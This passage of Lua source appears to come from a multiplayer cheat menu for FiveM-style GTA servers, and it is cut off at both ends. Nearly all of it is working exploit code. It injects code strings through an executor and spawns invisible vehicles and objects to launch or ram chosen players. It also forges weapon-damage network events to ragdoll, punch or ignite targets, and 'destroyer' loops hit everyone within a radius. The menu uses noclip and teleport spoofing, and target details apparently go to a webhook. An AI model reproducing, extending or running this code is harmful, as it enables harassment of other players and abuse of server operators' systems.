return false end local freecamActive = menu.vars and menu.vars.freecamMenuActive == true local restoreState = menu.utils.getFreecamPlayerRestoreState and menu.utils.getFreecamPlayerRestoreState(playerPed) or nil local noclipWasActive = menu.vars and menu.vars.bools and menu.vars.bools.noclip == true if not batchActive and not noclipWasActive and Ham and Ham.noClip then menu.vars._launchTempNoclipActive = true Ham.noClip(true) Wait(50) if not (menu.vars and menu.vars.bools and menu.vars.bools.godmode) then SetEntityInvincible(playerPed, false) SetPlayerInvincible(PlayerId(), false) end end if freecamActive and Ham and Ham.spoofTeleport then Ham.spoofTeleport(true) end local originalCoords = GetEntityCoords(playerPed) local targetCoords = GetEntityCoords(entity) local distance = #(originalCoords - targetCoords) local farRestoreCoords local zOffset = 1.0 local attempts = batch and 1 or 2 local launchHeight = 159.0 local stageWait = batch and 0 or 50 local initialWait = batch and 0 or 100 if 10.0 < distance then farRestoreCoords = originalCoords local angle = math.random() * 2 * math.pi local radius = math.random(5, 9) local offsetX = math.cos(angle) * radius local offsetY = math.sin(angle) * radius SetEntityCoordsNoOffset( playerPed, targetCoords.x + offsetX, targetCoords.y + offsetY, targetCoords.z - zOffset, false, false, false ) Wait(initialWait) end if not batch then ClearPedTasksImmediately(playerPed) end for _ = 1, attempts, 1 do if not DoesEntityExist(entity) then break end targetCoords = GetEntityCoords(entity) if not targetCoords then break end SetEntityCoords( playerPed, targetCoords.x, targetCoords.y, targetCoords.z - 50.0, false, false, false, false ) Wait(stageWait) AttachEntityToEntityPhysically( playerPed, entity, 0, 0.0, 0.0, 0.0, launchHeight, 0.0, 0.0, 0.0, 0.0, 0.0, 1, false, false, 1, 2 ) Wait(stageWait) DetachEntity(playerPed, true, true) Wait(stageWait) end Wait(stageWait) if not freecamActive and not batch then ClearPedTasksImmediately(playerPed) end if freecamActive then if IsEntityAttached(playerPed) then DetachEntity(playerPed, true, true) end ClearPedTasksImmediately(playerPed) FreezeEntityPosition(playerPed, false) SetEntityVelocity(playerPed, 0.0, 0.0, 0.0) if menu.utils.restoreFreecamPlayerAfterLaunch then menu.utils.restoreFreecamPlayerAfterLaunch(playerPed, restoreState) elseif menu.utils.freecamBlackHoleRestorePedToFreecamSpot then menu.utils.freecamBlackHoleRestorePedToFreecamSpot(playerPed, restoreState) SetEntityVisible(playerPed, true, false) ResetEntityAlpha(playerPed) end SetEntityVelocity(playerPed, 0.0, 0.0, 0.0) else local restoredSeat = restoreState if restoreState then restoredSeat = menu.utils.tryRestorePlayerVehicleSeat if restoredSeat then restoredSeat = menu.utils.tryRestorePlayerVehicleSeat(playerPed, restoreState) end end if not restoredSeat then if batch then SetEntityCoordsNoOffset( playerPed, originalCoords.x, originalCoords.y, originalCoords.z, true, true, false ) else if farRestoreCoords then SetEntityCoords( playerPed, farRestoreCoords.x, farRestoreCoords.y, farRestoreCoords.z + 1.0, false, false, false, false ) Wait(50) SetEntityCoords( playerPed, farRestoreCoords.x, farRestoreCoords.y, farRestoreCoords.z, false, false, false, false ) end SetEntityVisible(playerPed, true, false) SetEntityCoordsNoOffset( playerPed, originalCoords.x, originalCoords.y, originalCoords.z, true, true, false ) end else SetEntityVisible(playerPed, true, false) end end if teleportUnderMap and menu.functions.endTeleportUnderMapVehicleSpoofIfActive then menu.functions.endTeleportUnderMapVehicleSpoofIfActive() end if freecamActive and Ham and Ham.spoofTeleport then Ham.spoofTeleport(false) end if not batchActive and not noclipWasActive and menu.vars._launchTempNoclipActive and Ham and Ham.noClip then Ham.noClip(false) menu.vars._launchTempNoclipActive = false if not freecamActive and not (menu.vars and menu.vars.bools and menu.vars.bools.godmode) then SetEntityInvincible(playerPed, false) SetPlayerInvincible(PlayerId(), false) end end return true end function assembledMenuFunctions.runPhysLaunchOnPlayer(entity, teleportUnderMap) CreateThread(function() menu.functions.performPhysLaunchOnPlayer(entity, teleportUnderMap) end) end function assembledMenuFunctions.resolveLaunchTargetPed(option) if not option or not option.targetInfo then local targetInfo = nil return targetInfo end local targetInfo = option.targetInfo local targetPed = tonumber(targetInfo.ped) if (not targetPed or targetPed == 0 or not DoesEntityExist(targetPed)) and targetInfo.playerId and NetworkIsPlayerActive(targetInfo.playerId) then targetPed = GetPlayerPed(targetInfo.playerId) end if targetInfo.getFreshPed then local freshPed = targetInfo.getFreshPed() if freshPed and freshPed ~= 0 and DoesEntityExist(freshPed) then targetPed = freshPed end end if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return nil end return targetPed end function assembledMenuFunctions.validateLaunchTargetPed(targetPed) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return false, "Invalid target" end if targetPed == PlayerPedId() then return false, "Cannot launch yourself" end if IsPedInAnyVehicle(targetPed, false) then return false, "Target is in a vehicle" end return true end function assembledMenuFunctions.launchPlayerTwo(option) local targetPed = menu.functions.resolveLaunchTargetPed(option) local valid, reason = menu.functions.validateLaunchTargetPed(targetPed) if not valid then menu.utils.notify(reason, "error", 2000) return end menu.functions.runPhysLaunchOnPlayer(targetPed, false) end function assembledMenuFunctions.runMonamiMuleLaunchAtPed(targetPed) if not menu.utils.isVehicleWhitelisted("mule3") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return false end local safeSpawn = menu.vars.bools.safeVehicleSpawn and 1 or 0 local code = string.format( [[ Citizen.CreateThread(function() local targetPed = %s if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return end local targetCoords = GetEntityCoords(targetPed) local targetHeading = GetEntityHeading(targetPed) local vehicleModel = "mule3" _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, targetCoords, targetHeading, function(veh) if not veh or not DoesEntityExist(veh) then return end SetEntityCoordsNoOffset(veh, targetCoords.x, targetCoords.y, targetCoords.z - 0.3, false, false, false) SetEntityVisible(veh, false, false) SetEntityAsMissionEntity(veh, true, true) SetEntityCollision(veh, true, true) ActivatePhysics(veh) pcall(function() local ent = Entity(veh) if ent and ent.state then ent.state:set("pm_menu_spawned", true, true) end end) Citizen.Wait(700) if not DoesEntityExist(veh) then return end local headingRad = math.rad(targetHeading) local forceUp = 1000.0 local forceForward = 650.0 local fx = -math.sin(headingRad) * forceForward local fy = math.cos(headingRad) * forceForward ApplyForceToEntity(veh, 1, fx, fy, forceUp, 0.0, 0.0, 0.0, 0, true, true, true, false, true) Citizen.Wait(500) if DoesEntityExist(veh) then DeleteEntity(veh) end end, %d) end) ]], targetPed, safeSpawn ) menu.utils.safeExecute(code) return true end function assembledMenuFunctions.monamiLaunchPlayer(option) if not option or not option.targetInfo then return end local now = GetGameTimer() local lastLaunch = menu.vars.monamiLaunchLastTime or 0 if now - lastLaunch < 1000 then menu.utils.notify("Spam protection - wait 1 second", "error", 1500) return end menu.vars.monamiLaunchLastTime = now if menu.utils.logMonamiLaunchWebhook then menu.utils.logMonamiLaunchWebhook(option.targetInfo) end CreateThread(function() local playerPed = PlayerPedId() local targetInfo = option.targetInfo local function getFreshTarget() local targetPed = targetInfo.getFreshPed and targetInfo.getFreshPed() or targetInfo.ped if targetPed and targetPed ~= 0 and DoesEntityExist(targetPed) then return targetPed end return nil end local targetPed = getFreshTarget() if not targetPed then menu.utils.notify("Selected target could not be found.", "error", 2000) return end if targetPed ~= playerPed and menu.utils.isTargetFriend(targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end if IsPedInAnyVehicle(playerPed, false) or IsPedInAnyVehicle(targetPed, false) then menu.utils.notify("Cannot launch while in a vehicle.", "error", 2000) return end menu.functions.runMonamiMuleLaunchAtPed(targetPed) end) end function assembledMenuFunctions.launchTogglePlayer(toggleOptions) if not toggleOptions or not toggleOptions.targetInfo then return end menu.vars.launchTogglePlayerLoops = menu.vars.launchTogglePlayerLoops or {} local targetInfo = toggleOptions.targetInfo local serverId = tonumber(targetInfo.serverId) local loopKey = serverId or targetInfo.ped local function stopLoop() menu.vars.launchTogglePlayerLoops[loopKey] = nil if menu.vars.indivBools and menu.vars.indivBools.launchTogglePlayer and targetInfo.ped then menu.vars.indivBools.launchTogglePlayer[targetInfo.ped] = false end end if not toggleOptions.toggleState then menu.vars.launchTogglePlayerLoops[loopKey] = nil return end local targetPed = menu.functions.resolveLaunchTargetPed(toggleOptions) local valid, reason = menu.functions.validateLaunchTargetPed(targetPed) if not valid then menu.utils.notify(reason, "error", 2000) stopLoop() return end if menu.vars.launchTogglePlayerLoops[loopKey] then return end menu.vars.launchTogglePlayerLoops[loopKey] = true CreateThread(function() local noclipWasActive = menu.vars and menu.vars.bools and menu.vars.bools.noclip == true menu.vars._launchToggleBatchRefCount = (menu.vars._launchToggleBatchRefCount or 0) + 1 local firstBatch = menu.vars._launchToggleBatchRefCount == 1 if firstBatch then menu.vars._launchEveryoneBatchActive = true if not noclipWasActive and Ham and Ham.noClip then menu.vars._launchTempNoclipActive = true Ham.noClip(true) Wait(50) if not (menu.vars and menu.vars.bools and menu.vars.bools.godmode) then SetEntityInvincible(PlayerPedId(), false) SetPlayerInvincible(PlayerId(), false) end end end while menu.vars.launchTogglePlayerLoops[loopKey] do targetPed = menu.functions.resolveLaunchTargetPed(toggleOptions) local validTarget = menu.functions.validateLaunchTargetPed if validTarget then validTarget = select(1, menu.functions.validateLaunchTargetPed(targetPed)) end if not validTarget then break end menu.functions.performPhysLaunchOnPlayer(targetPed, false, true) Wait(10) end stopLoop() menu.vars._launchToggleBatchRefCount = math.max(0, (menu.vars._launchToggleBatchRefCount or 1) - 1) if menu.vars._launchToggleBatchRefCount == 0 then if menu.vars.bools and menu.vars.bools.destroyerLaunchEveryone then return end menu.vars._launchEveryoneBatchActive = false if noclipWasActive then return end if not Ham or not Ham.noClip then return end Ham.noClip(false) menu.vars._launchTempNoclipActive = false if menu.vars and menu.vars.bools and menu.vars.bools.godmode then return end SetEntityInvincible(PlayerPedId(), false) SetPlayerInvincible(PlayerId(), false) end end) end function assembledMenuFunctions.fakeFightPlayer(option) if not Ham or not Ham.sendWeaponDamageEvent then menu.utils.notify("Ham not available", "error", 2000) return end if not option or not option.targetInfo then return end local serverId = tonumber(option.targetInfo.serverId) if not serverId or serverId <= 0 then return end local targetPed = menu.functions.resolveLaunchTargetPed(option) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or targetPed == PlayerPedId() or IsEntityDead(targetPed) then return end local reactions = { "ACT_hitby_failed_takedown_rear", "ACT_hitby_failed_takedown_rear_knife", "ACT_hitby_failed_takedown_rear_bat" } local reactionHash = GetHashKey(reactions[math.random(#reactions)]) local playerPed = PlayerPedId() local distance = #(GetEntityCoords(playerPed) - GetEntityCoords(targetPed)) local networkId = NetworkGetNetworkIdFromEntity(targetPed) if not networkId or networkId == 0 then return end local boneCoords = GetPedBoneCoords(targetPed, 24818, 0.0, 0.0, 0.0) local localPos = GetOffsetFromEntityGivenWorldCoords(targetPed, boneCoords.x, boneCoords.y, boneCoords.z) Ham.sendWeaponDamageEvent(serverId, { weaponHash = 4194021054, damage = 0, damageType = 3, hitGlobalId = networkId, hitComponent = 10, overrideDamage = true, damageFlags = 522, actionResultName = 2661951225, actionResultId = 32769, f104 = reactionHash, isNetTargetPos = true, localPosX = localPos.x, localPosY = localPos.y, localPosZ = localPos.z, f112Data = distance, willKill = false, f133 = false, hasImpactDir = false, hitEntityWeapon = false, hitWeaponAmmoAttachment = false, silenced = false }) end function assembledMenuFunctions.punchPlayer(toggleOptions) if not Ham or not Ham.sendWeaponDamageEvent then menu.utils.notify("Ham not available", "error", 2000) return end if not toggleOptions or not toggleOptions.targetInfo then return end menu.vars.punchPlayerLoops = menu.vars.punchPlayerLoops or {} local targetInfo = toggleOptions.targetInfo local serverId = tonumber(targetInfo.serverId) local loopKey = serverId or targetInfo.ped local function stopLoop() menu.vars.punchPlayerLoops[loopKey] = nil if menu.vars.indivBools and menu.vars.indivBools.punchPlayer and targetInfo.ped then menu.vars.indivBools.punchPlayer[targetInfo.ped] = false end end if not toggleOptions.toggleState then menu.vars.punchPlayerLoops[loopKey] = nil return end local targetPed = menu.functions.resolveLaunchTargetPed(toggleOptions) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then menu.utils.notify("Invalid target", "error", 2000) stopLoop() return end if targetPed == PlayerPedId() then menu.utils.notify("Cannot punch yourself", "error", 2000) stopLoop() return end if not serverId or serverId <= 0 then menu.utils.notify("Invalid target", "error", 2000) stopLoop() return end if menu.vars.punchPlayerLoops[loopKey] then return end menu.vars.punchPlayerLoops[loopKey] = true CreateThread(function() local heavyReaction = GetHashKey("ACT_hitby_heavy_2b") local reactions = { heavyReaction, GetHashKey("ACT_hitby_takedown_front_psycho_b"), GetHashKey("ACT_hitby_takedown_front_e"), GetHashKey("ACT_hitby_takedown_front_b"), GetHashKey("ACT_hitby_takedown_front_c"), GetHashKey("ACT_hitby_takedown_rear_psycho"), GetHashKey("ACT_hitby_takedown_front_psycho_c"), GetHashKey("ACT_hitby_stealth_kill_small_wpn"), GetHashKey("ACT_hitby_armed_melee_left") } local boneIndex = 24818 while menu.vars.punchPlayerLoops[loopKey] do targetPed = menu.functions.resolveLaunchTargetPed(toggleOptions) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then break end local networkId = NetworkGetNetworkIdFromEntity(targetPed) if not networkId or networkId == 0 then break end local distance = #(GetEntityCoords(PlayerPedId()) - GetEntityCoords(targetPed)) local boneCoords = GetPedBoneCoords(targetPed, boneIndex, 0.0, 0.0, 0.0) local localPos = GetOffsetFromEntityGivenWorldCoords(targetPed, boneCoords.x, boneCoords.y, boneCoords.z) local reactionMode = toggleOptions.reactionMode or menu.vars.selectors and menu.vars.selectors.punchReactionMode or 1 local reactionHash if reactionMode == 2 then reactionHash = heavyReaction else reactionHash = reactions[math.random(#reactions)] end Ham.sendWeaponDamageEvent(serverId, { weaponHash = 4194021054, damage = 0, damageType = 3, hitGlobalId = networkId, hitComponent = 10, overrideDamage = true, damageFlags = 522, actionResultName = 2661951225, actionResultId = 32769, f104 = reactionHash, isNetTargetPos = true, localPosX = localPos.x, localPosY = localPos.y, localPosZ = localPos.z, f112Data = distance, willKill = false, f133 = false, hasImpactDir = false, hitEntityWeapon = false, hitWeaponAmmoAttachment = false, silenced = false }) if toggleOptions.singleHit then break end reactionMode = toggleOptions.reactionMode or menu.vars.selectors and menu.vars.selectors.punchReactionMode or 1 Wait(reactionMode == 2 and 150 or 1000) end menu.vars.punchPlayerLoops[loopKey] = nil end) end function assembledMenuFunctions.ragdollPlayer(toggleOptions) if not Ham or not Ham.sendWeaponDamageEvent then menu.utils.notify("Ham.sendWeaponDamageEvent is not available.", "error", 2500) return end if not toggleOptions or not toggleOptions.targetInfo then return end menu.vars.ragdollPlayerLoops = menu.vars.ragdollPlayerLoops or {} local targetInfo = toggleOptions.targetInfo local serverId = tonumber(targetInfo.serverId) local loopKey = serverId or targetInfo.ped local function stopLoop() menu.vars.ragdollPlayerLoops[loopKey] = nil if menu.vars.indivBools and menu.vars.indivBools.ragdollPlayer and targetInfo.ped then menu.vars.indivBools.ragdollPlayer[targetInfo.ped] = false end end if not toggleOptions.toggleState then menu.vars.ragdollPlayerLoops[loopKey] = nil return end local targetPed = menu.functions.resolveLaunchTargetPed and menu.functions.resolveLaunchTargetPed(toggleOptions) or targetInfo.ped if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then menu.utils.notify("Invalid target", "error", 2000) stopLoop() return end if targetPed == PlayerPedId() then menu.utils.notify("Cannot ragdoll yourself", "error", 2000) stopLoop() return end if not serverId or serverId <= 0 then menu.utils.notify("Invalid target", "error", 2000) stopLoop() return end if menu.vars.ragdollPlayerLoops[loopKey] then return end menu.vars.ragdollPlayerLoops[loopKey] = true CreateThread(function() local normalDelay = 700 local fastDelay = 2200 while menu.vars.ragdollPlayerLoops[loopKey] do if menu.functions.resolveLaunchTargetPed then targetPed = menu.functions.resolveLaunchTargetPed(toggleOptions) else local player = GetPlayerFromServerId(serverId) targetPed = player and player ~= -1 and GetPlayerPed(player) or 0 end if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then break end local mode = menu.vars.selectors and menu.vars.selectors.onlineRagdollMode or 1 local delay = mode == 2 and fastDelay or normalDelay local distance = #(GetEntityCoords(PlayerPedId()) - GetEntityCoords(targetPed)) Ham.sendWeaponDamageEvent(serverId, { weaponHash = 3452007600, damage = 0, damageType = 3, hitGlobalId = 0, parentGlobalId = 0, hitComponent = 20, overrideDamage = true, damageTime = GetNetworkTimeAccurate() or 0, f133 = true, isNetTargetPos = true, damageFlags = 513, f112Data = math.floor(distance) }) Wait(delay) end menu.vars.ragdollPlayerLoops[loopKey] = nil end) end function assembledMenuFunctions.firePlayer(toggleOptions) if not Ham or not Ham.sendWeaponDamageEvent then menu.utils.notify("Ham.sendWeaponDamageEvent is not available.", "error", 2500) return end if not toggleOptions or not toggleOptions.targetInfo then return end menu.vars.firePlayerLoops = menu.vars.firePlayerLoops or {} local targetInfo = toggleOptions.targetInfo local serverId = tonumber(targetInfo.serverId) local loopKey = serverId or targetInfo.ped local function stopLoop() menu.vars.firePlayerLoops[loopKey] = nil if menu.vars.indivBools and menu.vars.indivBools.firePlayer and targetInfo.ped then menu.vars.indivBools.firePlayer[targetInfo.ped] = false end end if not toggleOptions.toggleState then menu.vars.firePlayerLoops[loopKey] = nil return end local targetPed = menu.functions.resolveLaunchTargetPed and menu.functions.resolveLaunchTargetPed(toggleOptions) or targetInfo.ped if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then menu.utils.notify("Invalid target", "error", 2000) stopLoop() return end if targetPed == PlayerPedId() then menu.utils.notify("Cannot burn yourself", "error", 2000) stopLoop() return end if not serverId or serverId <= 0 then menu.utils.notify("Invalid target", "error", 2000) stopLoop() return end if menu.vars.firePlayerLoops[loopKey] then return end menu.vars.firePlayerLoops[loopKey] = true CreateThread(function() while menu.vars.firePlayerLoops[loopKey] do if menu.functions.resolveLaunchTargetPed then targetPed = menu.functions.resolveLaunchTargetPed(toggleOptions) else local player = GetPlayerFromServerId(serverId) targetPed = player and player ~= -1 and GetPlayerPed(player) or 0 end if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then break end local distance = #(GetEntityCoords(PlayerPedId()) - GetEntityCoords(targetPed)) Ham.sendWeaponDamageEvent(serverId, { weaponHash = 1198879012, damage = 0, damageType = 3, hitGlobalId = 0, parentGlobalId = 0, hitComponent = 20, overrideDamage = true, damageTime = GetNetworkTimeAccurate() or 0, f133 = true, isNetTargetPos = true, damageFlags = 513, f112Data = math.floor(distance) }) Wait(1000) end menu.vars.firePlayerLoops[loopKey] = nil end) end function assembledMenuFunctions.teleportUnderMapLaunchPlayer(option) local targetPed = menu.functions.resolveLaunchTargetPed(option) local valid, reason = menu.functions.validateLaunchTargetPed(targetPed) if not valid then menu.utils.notify(reason, "error", 2000) return end menu.functions.runPhysLaunchOnPlayer(targetPed, true) end function assembledMenuFunctions.destroyerLaunchEveryone(toggleOptions) local enabled if toggleOptions and toggleOptions.toggleState ~= nil then enabled = toggleOptions.toggleState else enabled = menu.vars.bools.destroyerLaunchEveryone == true end menu.vars.bools.destroyerLaunchEveryone = enabled if not enabled then menu.vars.destroyerLaunchEveryoneThread = false return end if menu.vars.destroyerLaunchEveryoneThread then return end menu.vars.destroyerLaunchEveryoneThread = true CreateThread(function() local playerId = PlayerId() local noclipWasActive = menu.vars and menu.vars.bools and menu.vars.bools.noclip == true menu.vars._launchEveryoneBatchActive = true if not noclipWasActive and Ham and Ham.noClip then menu.vars._launchTempNoclipActive = true Ham.noClip(true) Wait(50) if not (menu.vars and menu.vars.bools and menu.vars.bools.godmode) then SetEntityInvincible(PlayerPedId(), false) SetPlayerInvincible(PlayerId(), false) end end while menu.vars.bools.destroyerLaunchEveryone and menu.vars.destroyerLaunchEveryoneThread do local playerCoords = GetEntityCoords(PlayerPedId()) local nearestPed local nearestDistance for _, otherPlayer in ipairs(GetActivePlayers()) do if not menu.vars.bools.destroyerLaunchEveryone or not menu.vars.destroyerLaunchEveryoneThread then break end if otherPlayer ~= playerId and NetworkIsPlayerActive(otherPlayer) and not menu.utils.isPlayerFriendByPlayerId(otherPlayer) then local targetPed = GetPlayerPed(otherPlayer) if targetPed and targetPed ~= 0 and DoesEntityExist(targetPed) then local valid = menu.functions.validateLaunchTargetPed if valid then valid = select(1, menu.functions.validateLaunchTargetPed(targetPed)) end if valid then local distance = #(playerCoords - GetEntityCoords(targetPed)) if not nearestDistance or nearestDistance > distance then nearestDistance = distance nearestPed = targetPed end end end end end if nearestPed and DoesEntityExist(nearestPed) then menu.functions.performPhysLaunchOnPlayer(nearestPed, false, true) end Wait(50) end menu.vars._launchEveryoneBatchActive = false if not noclipWasActive and Ham and Ham.noClip then Ham.noClip(false) menu.vars._launchTempNoclipActive = false if not (menu.vars and menu.vars.bools and menu.vars.bools.godmode) then SetEntityInvincible(PlayerPedId(), false) SetPlayerInvincible(PlayerId(), false) end end menu.vars.destroyerLaunchEveryoneThread = false end) end function assembledMenuFunctions.runDestroyerRagdollRadiusToggle(toggleOptions, config) config = config or {} local boolVar = config.boolVar or "destroyerRagdollEveryone" local threadVar = config.threadVar or "destroyerRagdollEveryoneThread" local maxDist = config.maxDist local modeVar = config.modeVar or "destroyerRagdollMode" local permanentInterval = config.permanentIntervalMs or 700 local intervalMode = config.intervalModeMs or 2200 if not Ham or not Ham.sendWeaponDamageEvent then menu.utils.notify("Ham.sendWeaponDamageEvent is not available.", "error", 2500) return end local enabled if toggleOptions and toggleOptions.toggleState ~= nil then enabled = toggleOptions.toggleState else enabled = menu.vars.bools[boolVar] == true end menu.vars.bools[boolVar] = enabled if not enabled then menu.vars[threadVar] = false return end if menu.vars[threadVar] then return end menu.vars[threadVar] = true CreateThread(function() while menu.vars.bools[boolVar] and menu.vars[threadVar] do local mode = menu.vars.selectors and menu.vars.selectors[modeVar] or 1 local delay = mode == 2 and intervalMode or permanentInterval local playerCoords = GetEntityCoords(PlayerPedId()) local targets = {} for _, player in ipairs(GetActivePlayers()) do if player ~= PlayerId() and NetworkIsPlayerActive(player) then local targetPed = GetPlayerPed(player) if targetPed ~= 0 and DoesEntityExist(targetPed) and not IsEntityDead(targetPed) then local distance = #(playerCoords - GetEntityCoords(targetPed)) if not maxDist or distance <= maxDist then local serverId = GetPlayerServerId(player) if serverId and 0 < serverId then targets[#targets + 1] = { sid = serverId, dist = math.floor(distance) } end end end end end for _, target in ipairs(targets) do Ham.sendWeaponDamageEvent(target.sid, { weaponHash = 3452007600, damage = 0, damageType = 3, hitGlobalId = 0, parentGlobalId = 0, hitComponent = 20, overrideDamage = true, damageTime = GetNetworkTimeAccurate() or 0, f133 = true, isNetTargetPos = true, damageFlags = 513, f112Data = target.dist }) end Wait(delay) end menu.vars[threadVar] = false end) end function assembledMenuFunctions.destroyerRagdollEveryone(option) menu.functions.runDestroyerRagdollRadiusToggle(option, { boolVar = "destroyerRagdollEveryone", threadVar = "destroyerRagdollEveryoneThread", modeVar = "destroyerRagdollMode", permanentIntervalMs = 700, intervalModeMs = 2200 }) end function assembledMenuFunctions.destroyerFirePlayers(toggleOptions) if not Ham or not Ham.sendWeaponDamageEvent then menu.utils.notify("Ham.sendWeaponDamageEvent is not available.", "error", 2500) return end local enabled if toggleOptions and toggleOptions.toggleState ~= nil then enabled = toggleOptions.toggleState else enabled = menu.vars.bools.destroyerBurnEveryone == true end menu.vars.bools.destroyerBurnEveryone = enabled if not enabled then menu.vars.destroyerBurnEveryoneThread = false return end if menu.vars.destroyerBurnEveryoneThread then return end menu.vars.destroyerBurnEveryoneThread = true CreateThread(function() local radii = { 20, 50, 100, 200, 500 } while menu.vars.bools.destroyerBurnEveryone and menu.vars.destroyerBurnEveryoneThread do local radiusIndex = menu.vars.selectors and menu.vars.selectors.destroyerBurnEveryoneRadius or 2 local radius = radii[radiusIndex] or 50 local playerCoords = GetEntityCoords(PlayerPedId()) local targets = {} for _, player in ipairs(GetActivePlayers()) do if player ~= PlayerId() and NetworkIsPlayerActive(player) then local targetPed = GetPlayerPed(player) if targetPed ~= 0 and DoesEntityExist(targetPed) and not IsEntityDead(targetPed) then local distance = #(playerCoords - GetEntityCoords(targetPed)) if radius >= distance then local serverId = GetPlayerServerId(player) if serverId and 0 < serverId then targets[#targets + 1] = { sid = serverId, dist = math.floor(distance) } end end end end end for _, target in ipairs(targets) do Ham.sendWeaponDamageEvent(target.sid, { weaponHash = 1198879012, damage = 0, damageType = 3, hitGlobalId = 0, parentGlobalId = 0, hitComponent = 20, overrideDamage = true, damageTime = GetNetworkTimeAccurate() or 0, f133 = true, isNetTargetPos = true, damageFlags = 513, f112Data = target.dist }) end Wait(1000) end menu.vars.destroyerBurnEveryoneThread = false end) end function assembledMenuFunctions.launchNewPlayer(option) if option then local targetInfo = option.targetInfo if not targetInfo then return end targetInfo = option.targetInfo local objectModel = "zion2" local modelExpression = "GetHashKey(\"" .. objectModel .. "\")" if not menu.utils.isObjectWhitelisted(objectModel) then menu.utils.notify("Object is blacklisted", "error", 2000) return end local code = string.format( [[ Citizen.CreateThread(function() local targetPed = %s local targetCoords = GetEntityCoords(targetPed) local targetHeading = GetEntityHeading(targetPed) local objectModel = %s local foundGround, groundZ = GetGroundZFor_3dCoord(targetCoords.x, targetCoords.y, targetCoords.z + 50.0, false) local spawnZ1 = foundGround and (groundZ - 10.0) or (targetCoords.z - 10.0) local spawnZ2 = foundGround and (groundZ - 20.0) or (targetCoords.z - 20.0) local spawnCoords1 = vector3(targetCoords.x, targetCoords.y, spawnZ1) local spawnCoords2 = vector3(targetCoords.x, targetCoords.y, spawnZ2) RequestModel(objectModel) while not HasModelLoaded(objectModel) do Citizen.Wait(0) end local function spawnAndLaunch(objCoords, heading) local o = CreateObject(objectModel, objCoords.x, objCoords.y, objCoords.z, true, true, true) if not DoesEntityExist(o) then return end SetEntityHeading(o, heading) SetEntityVisible(o, true, false) SetEntityAsMissionEntity(o, true, true) SetEntityCollision(o, true, true) ActivatePhysics(o) SetEntityDynamic(o, true) Citizen.CreateThread(function() Citizen.Wait(1000) if DoesEntityExist(o) then SetEntityVisible(o, false, false) SetEntityVelocity(o, 0.0, 0.0, 150.0) ApplyForceToEntity(o, 1, 0.0, 0.0, 120.0, 0.0, 0.0, 0.0, 0, true, true, true, false, true) Citizen.Wait(4000) if DoesEntityExist(o) then DeleteEntity(o) end end end) end spawnAndLaunch(spawnCoords1, targetHeading) Citizen.Wait(400) if DoesEntityExist(targetPed) then local tc = GetEntityCoords(targetPed) local fg, gz = GetGroundZFor_3dCoord(tc.x, tc.y, tc.z + 50.0, false) local sz2 = fg and (gz - 20.0) or (tc.z - 20.0) spawnAndLaunch(vector3(tc.x, tc.y, sz2), GetEntityHeading(targetPed)) end SetModelAsNoLongerNeeded(objectModel) end) ]], targetInfo.ped, modelExpression ) menu.utils.safeExecute(code) end end function assembledMenuFunctions.slideRamPlayer(option) if option then local targetInfo = option.targetInfo if not targetInfo then return end targetInfo = option.targetInfo local objectModel = "surge" local modelExpression = "GetHashKey(\"" .. objectModel .. "\")" if not menu.utils.isObjectWhitelisted(objectModel) then menu.utils.notify("Object is blacklisted", "error", 2000) return end local code = string.format( [[ Citizen.CreateThread(function() local targetPed = %s if not DoesEntityExist(targetPed) then return end local targetCoords = GetEntityCoords(targetPed) local targetHeading = GetEntityHeading(targetPed) local objectModel = %s local sideHeading = math.rad(targetHeading + 90.0) local sideDistance = 14.0 local spawnCoords = vector3( targetCoords.x + math.cos(sideHeading) * sideDistance, targetCoords.y + math.sin(sideHeading) * sideDistance, targetCoords.z - 1.0 ) if not IsModelInCdimage(objectModel) then return end RequestModel(objectModel) local timeout = 0 while not HasModelLoaded(objectModel) and timeout < 200 do Citizen.Wait(10) timeout = timeout + 1 end if not HasModelLoaded(objectModel) then SetModelAsNoLongerNeeded(objectModel) return end RequestCollisionAtCoord(spawnCoords.x, spawnCoords.y, spawnCoords.z) local obj = CreateObject(objectModel, spawnCoords.x, spawnCoords.y, spawnCoords.z, true, true, true) if obj and obj ~= 0 and DoesEntityExist(obj) then local ramHeading = GetHeadingFromVector_2d(targetCoords.x - spawnCoords.x, targetCoords.y - spawnCoords.y) SetEntityCoordsNoOffset(obj, spawnCoords.x, spawnCoords.y, spawnCoords.z, false, false, false) SetEntityHeading(obj, ramHeading) SetEntityVisible(obj, true, false) SetEntityAsMissionEntity(obj, true, true) SetEntityCollision(obj, true, true) ActivatePhysics(obj) SetEntityDynamic(obj, true) SetEntityHasGravity(obj, true) Citizen.CreateThread(function() Citizen.Wait(250) if DoesEntityExist(obj) and DoesEntityExist(targetPed) then SetEntityVisible(obj, false, false) for i = 1, 20 do if not DoesEntityExist(obj) or not DoesEntityExist(targetPed) then break end local liveTargetCoords = GetEntityCoords(targetPed) local currentCoords = GetEntityCoords(obj) local dx = liveTargetCoords.x - currentCoords.x local dy = liveTargetCoords.y - currentCoords.y local distance = math.sqrt((dx * dx) + (dy * dy)) if distance <= 0.05 then break end local dirX = dx / distance local dirY = dy / distance local ramHeadingNow = GetHeadingFromVector_2d(dx, dy) SetEntityHeading(obj, ramHeadingNow) SetEntityVelocity(obj, dirX * 50.0, dirY * 50.0, 0.0) ApplyForceToEntity(obj, 1, dirX * 50.0, dirY * 50.0, 0.0, 0.0, 0.0, 0.0, 0, true, true, true, false, true) Citizen.Wait(40) end Citizen.Wait(4000) if DoesEntityExist(obj) then DeleteEntity(obj) end end end) end SetModelAsNoLongerNeeded(objectModel) end) ]], targetInfo.ped, modelExpression ) menu.utils.safeExecute(code) end end function assembledMenuFunctions.flingPlayer(option) if option then local targetInfo = option.targetInfo if not targetInfo then return end targetInfo = option.targetInfo if not menu.utils.isVehicleWhitelisted("reaper") then 